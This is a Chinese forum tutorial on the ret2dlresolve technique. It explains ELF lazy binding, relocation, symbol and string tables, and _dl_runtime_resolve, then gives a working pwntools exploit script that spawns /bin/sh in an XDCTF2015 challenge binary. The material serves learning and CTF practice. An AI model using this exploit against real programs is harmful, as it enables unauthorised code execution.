理解ret2dlsolve和函数地址解析过程
ELF在执行时,许多函数的地址是lazy binding的,即在第一次调用时才会解析其地址并填充至`.got.plt`,这个过程是在`.plt`里面完成的> 文章中用到的程序是用[这个仓库](https://github.com/bash-c/pwn_repo)里面的源码进行编译的
>
> 然后有些地方参考了ctf-wiki,当时看完wiki不是很理解,最后一咬牙把这个方法看完了,希望我的理解过程能帮助更多的人,欢迎评论。
## 解析函数地址
上面两张图解释了函数地址在函数第一次调用的时候是如何解析的,但是还不足以理解ret2dlsolve
因为我们需要了解ld.so里面执行的一些东西
### 重定位表
> 重定位表对应.rel.plt段,也是readelf -r会显示的内容
得到偏移,进入dlsolve之后程序根据偏移找到对应的`重定位表项`,从途中可以看出条目由`函数的got`和`r_info`构成
### 符号表
> 符号表对应.dynsym段,也是readelf -x会显示的内容
符号表中的条目如图所示,对于write的条目,我们可以看到有6个,展开之后是这样:
`0x4C`就是字符串对于字符串表的偏移
### 动态字符串表
> 动态字符串表对应.dynstr段,上图已经给出
## elf head 相关知识
在了解ret2dlsolve之前,我们需要先了解一些elf头的知识☝️
readelf用于帮助我们解析头部信息
```shell
# 常用的指令&含义
readelf -r # Display the relocations
readelf -d # Display the dynamic section
readelf -s # Display the symbol table
```
**符号表(sym table)的定义:**
```c
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value;/* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other;/* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx;/* Section index */
} Elf32_Sym;
```
## 从x86入手
上面的指令对应ida中的内容:
### call read@plt
看一下重定位信息:
```shell
$ readelf -r bof32
Relocation section '.rel.dyn' at offset 0x288 contains 1 entries:
Offset Info Type Sym.ValueSym. Name
080496fc00000206 R_386_GLOB_DAT 00000000 __gmon_start__
Relocation section '.rel.plt' at offset 0x290 contains 4 entries:
Offset Info Type Sym.ValueSym. Name
0804970c00000107 R_386_JUMP_SLOT 00000000 read 0804971000000207 R_386_JUMP_SLOT 00000000 __gmon_start__
0804971400000307 R_386_JUMP_SLOT 00000000 __libc_start_main
0804971800000407 R_386_JUMP_SLOT 00000000 write
```
结合上面的`Elf32_Rel`的结构体定义和下面的地址,可以看出Offset就是read函数在`.got.plt`中的地址
`r_info`则保存的是其类型和符号序号,具体保存的是什么信息能够结合宏定义推出,这里不赘述。
```shell
0x80482e0: push DWORD PTR ds:0x8049704
0x80482e6: jmp DWORD PTR ds:0x8049708
...
gdb-peda$ x/3i read:
0x80482f0 <read@plt>: jmp DWORD PTR ds:0x804970c (read@got.plt)
0x80482f6 <read@plt+6>:push 0x0
0x80482fb <read@plt+11>: jmp 0x80482e0
...
0x804970c <read@got.plt>: 0x080482f6
```
在第一次调用时,`jmp read@got.plt`会跳回`read@plt`,这是我们已经知道的。接下来,会将参数push到栈上并跳至`.got.plt+0x8`,这相当于调用以下函数:
```c
_dl_runtime_resolve(link_map, rel_offset);
```
我们知道参数是从右至左压栈的,所以第一个压栈的`0`就是`rel_offset`,第二个压栈的常量指针就是`link_map`
**该函数的工作原理:**
- 根据`rel_offset`,找到**重定位表**中的**重定位条目**
- 根据`rel_entry`中的**动态符号表**条目编号,条目编号就是0x107中的`1`,我们就找符号表中第一条就行,得到对应的符号信息
- 再根据符号信息中的`偏移`找到符号名称【也叫**动态字符串**】(比如说`'read'`)
- 由此名称,搜索动态库
- 找到地址后,填充至`.got.plt`对应位置
- 调整栈,调用这一解析得到的函数
**重定位表项、动态符号表、动态字符串表**都是从目标文件中的动态节 .dynamic 索引得到的
### 攻击思路
`linker`使用`_dl_runtime_resolve(link_map_obj, reloc_offset)`来进行重定位
我们要`控制相应的参数`及其`对应地址的内容`
#### 思路1 -- 直接控制重定位表项的相关内容
**dl_solve**根据符号的名字进行解析,直接修改**动态字符串表**`.dynstr`
但是,`动态字符串表、动态符号表、重定位表项`都是只读的。
所以可以伪造合适的重定位偏移
**这个貌似是**`**Parital RELRO**`**的思路**
****
#### 思路2 -- 间接控制重定位表项的相关内容
既然动态链接器会从 .dynamic 节中索引到各个目标节,那如果我们可以修改动态节中的内容,那自然就很容易控制待解析符号对应的字符串,从而达到执行目标函数的目的。
**这个思路貌似是**`**NO RELRO**`**的攻击思路**
****
#### NO RELRO
没有保护的时候.dynamic是可写的
modify .dynstr pointer in .dynamic section to a specific location
我们构造一段假的动态字符串表,然后把指针指过去就行了
我们控制下的程序流:
push offset;
jmp2plt0;
解析; // 这里解析的话就会使用我们更改的动态字符串表
#### Parital RELRO
我们控制offset,解析之后指向我们构造的重定位项
重定位项由got和r_info组成
1. 将栈迁移到 bss 段
2. 构造offset 使解析offset之后得到的重定位表项落在ropchain中(这里的offset对应plt里函数的offset)
- 原来的时候 [.rel.plt + offset] = got
3. 构造重定位表项 使解析后的 `符号表项`落在ropchain中
4. 构造符号表项 使解析后的 `动态字符串`落在ropchain中
5. 把动态字符串改成"system",传入参数"/bin/sh"就能getshell了
## 使用工具进行ret2dlsolve
一般就是用pwntools构造,roputils不支持python3,希望有人接盘吧
然后我们需要去理解工具在构造的过程中做了什么
```python
from mmap import mmap
from helper import *
import helper
import re
abbre(globals(), io, loader) # 此处定义了常用的缩写
# helper就是我自己对pwntools的封装,大家不必在意
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
# pwntools will help us choose a proper addr
# https://github.com/Gallopsled/pwntools/blob/5db149adc2/pwnlib/rop/ret2dlresolve.py#L237
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
print(rop.dump())
ru(b"Welcome to XDCTF2015~!\n")
# 0x0000: 0x80490a4 read(0, 0x804be00) # size=0x8049030
# 0x0004: 0x8049352 <adjust @0x10> pop edi; pop ebp; ret # 吃掉 arg0 和 arg1
# 0x0008: 0x0 arg0
# 0x000c: 0x804be00 arg1, `addr of payload_2`
# 0x0010: 0x8049030 system(0x804be20)
# 0x0014: 0x3a98 -> 重定位表项: 0x804be18 <- <0x0804be00, 0x3be07>
# 符号表项 0x804be08 (0x8048228 + 0x3be0)
# 动态字符串 0x3b38 + 0x80482c8 = 0x804be00
# 0x0018: b'gaaa' <return address>
# 0x001c: 0x804be20 arg0 # /bin/sh for system
rop = ROP(elf)
rop.raw(dlresolve.payload)
print("======================")
print(rop.dump()) # 这里你可以看到后面的payload是什么样子
payload = flat({112:raw_rop})
s(payload)
s(dlresolve.payload)
shell()
```
可以看出和上面我们分析出来的思路大体上是一致的
这个洞对我来说还是比较复杂,文章模糊不清的地方欢迎指正,如有不足,多多包涵
@ybw4cry 帖子图片开始有问题,看起来你重新上传本地,但没删除之前的图片地址,我帮你编辑了。 图片顺序错了 学习加分享 楼主辛苦,谢谢分享! 楼主辛苦,谢谢分享! 学习加分享,楼主辛苦 楼主辛苦。 楼主辛苦了、
感谢分享
页:
[1]
2